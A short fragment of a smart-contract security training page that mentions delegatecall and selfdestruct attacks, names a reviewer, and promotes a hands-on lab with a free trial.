  • Call Attacks & Delegatecall - Understanding delegatecall context switching is essential for securing any contract against delegatecall-triggered selfdestruct

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Self Destruct Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Self Destruct Attacks Free Trial